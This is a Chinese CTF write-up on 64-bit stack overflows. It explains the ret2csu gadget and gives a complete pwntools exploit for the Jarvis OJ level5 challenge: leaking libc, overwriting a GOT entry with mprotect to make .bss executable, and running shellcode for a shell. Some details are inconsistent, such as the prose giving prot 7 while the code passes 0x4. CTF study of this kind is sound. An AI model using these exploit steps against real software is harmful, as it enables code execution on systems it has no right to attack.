一、中级栈溢出总结: 来到中级栈溢出这里,当64位的程序很难得到有用的rop链时(参数在rdi,rsi,rdx中,通常是很难凑齐这3个的)就需要我们用程序现有的链子去构造,找找看:
重点介绍一个64位的很好用的ROP链子,这个链子是根据
这两个函数的汇编写出来的,我们可以去看看:
就是这里了,看到loc_4006A6和loc_400690两个位置,这里怎么利用呢?
首先先读懂这段汇编的意思:首先执行抬一次栈的操作,接着要pop6个参数到相应的寄存器中,然后是ret,接着看到上面mov那里,很清晰,r13就是第三个参数,r14就是第二个参数,r15d(低8位)就是第一个参数rdi(edi表示低8位),接着call,r12存放就是需要调用的函数的地址,这里需要让rbx=0,才能完美地实现r12就是调用地址,接着比较rbx和rbp,所以rbp = rbx = 0,才能继续往下执行,不然又跳回mov那里了,继续往下执行,我们需要的只有ret,所以前面的抬栈和ret都可以用垃圾字符填充,这里7条指令需要有56个字节去填充,也就是0x38,个字节,填充了,才能完美到达ret,ret这里填我们想要跳转的地址,这样就完美地利用起来了,总的执行逻辑就是:
为了以后调用方便,总结这里我用一个函数去封装了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pppppp_ret = 0x004006A6 mov_ret = 0x0400690 def mid_overflow (func_plt,rdi,rsi,rdx,next_func) : payload = '' payload += 'a' *136 //填栈溢出的偏移 payload += p64(pppppp_ret) //开始地址 payload += p64(0 ) payload += p64(0 ) payload += p64(1 ) payload += p64(func_plt) //调用函数的地址 payload += p64(rdx) //64 位的参数 payload += p64(rsi) payload += p64(rdi) payload += p64(mov_ret) //跳转地址 payload += p64(0 ) //垃圾字符,7 行 payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(next_func) //下一跳函数地址 ru('Input:\n' ) sd(payload) mid_overflow(write_plt,1 ,read_got,8 ,vul_func_addr) //调用的write函数,往read_got表里面写入8 字节的数据,接着执行vul_func_addr函数
纸上谈兵没有用,来道题目压压惊~
OJ的level5(假定system函数和execve函数用不了)
链接:https://pan.baidu.com/s/1IZHwBkEdBzhhcAEnIUgy5w 提取码:hvaz
)
逻辑很简单,栈溢出,但是假设没有system和execve的情况下(实际上很常见,以后会遇见的),就是说泄露真实地址调用system已经不现实,但是shellcode也没有用呀,NX保护开了,这可咋整?于是去学习一波,解锁了新姿势—-mprotect函数的运用(修改内存段权限),这样如果我们修改bss段的权限,让它可执行,那么不就可以把shellcode写到上面了吗?这里先来学习一波mprotect:
1 2 3 4 5 6 7 8 9 10 11 #include <sys/mman.h> int mprotect (const void *addr, size_t len, int prot) ; 此函数把自addr开始的、长度为len的内存区的保护属性修改为prot指定的值,prot值如下: prot标签值 描述 PROT_NONE The memory cannot be accessed at all. PROT_READ The memory can be read . PROT_WRITE The memory can be written to. PROT_EXEC The memory can contain executing code. 还记得chmod 777 吗?我们port置为7 ,表示可读可写可执行~
了解了这个函数,那么要怎么调用这个函数呢?想到got表修改,首先利用write函数泄露出read的真实地址,就可以得到mprotect的真实地址,接着可以往libc_start_main的got表写入mprotect的地址,这样调用libc_start_mian,就是调用mprotect,实现欺骗执行任意我们想要执行的函数。那么能执行mprotect了,就能写入参数(0x600000,0x1000,0x7),这里表示把0x600000到0x601000的内存段变为有可执行的权限。接着可以上shellcode了,接着二次跳转再跑一次程序,直接ret到bss地址即可getshell。
上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./level3_x64' ) if local: p = process('./level3_x64' ) libc = elf.libc else : p = remote("pwn2.jarvisoj.com" , 9884 ) libc = ELF("./libc-2.19.so" ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() vul_func_addr = elf.symbols["vulnerable_function" ] main_got = elf.got['__libc_start_main' ] write_got = elf.got['write' ] read_got = elf.got['read' ] read_libc = libc.symbols['read' ] mprotect_libc = libc.symbols['mprotect' ] pppppp_ret = 0x004006A6 mov_ret = 0x0400690 bss_addr = elf.bss() def mid_overflow (func_plt,rdi,rsi,rdx,next_func) : payload = '' payload += 'a' *136 payload += p64(pppppp_ret) payload += p64(0 ) payload += p64(0 ) payload += p64(1 ) payload += p64(func_plt) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(mov_ret) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(0 ) payload += p64(next_func) ru('Input:\n' ) sd(payload) mid_overflow(write_got,1 ,read_got,8 ,vul_func_addr) read_addr = u64(rc(8 )) mprotect_addr = read_addr - read_libc + mprotect_libc print "mprotect_addr--->" + hex(mprotect_addr)shellcode = asm(shellcraft.amd64.sh()) mid_overflow(read_got,0 ,bss_addr,len(shellcode),vul_func_addr) sd(shellcode) mid_overflow(read_got,0 ,main_got,8 ,vul_func_addr) sd(p64(mprotect_addr)) mid_overflow(main_got,0x600000 ,0x1000 ,0x4 ,vul_func_addr) payload = "A" *0x88 payload += p64(bss_addr) ru('Input:\n' ) sd(payload) p.interactive()
改前:rw-p
改后:rwxp
getshell这里用到了一个mprotect的知识,用到了修改got表的知识,也用到了中级栈溢出的知识,是一道不错的题目,懂了受益挺大,不懂就再看看搞懂再往下学。